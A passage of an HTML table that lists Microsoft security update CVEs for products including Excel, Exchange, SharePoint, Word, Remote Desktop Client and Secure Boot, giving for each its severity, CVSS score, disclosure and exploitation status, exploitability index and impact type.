  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
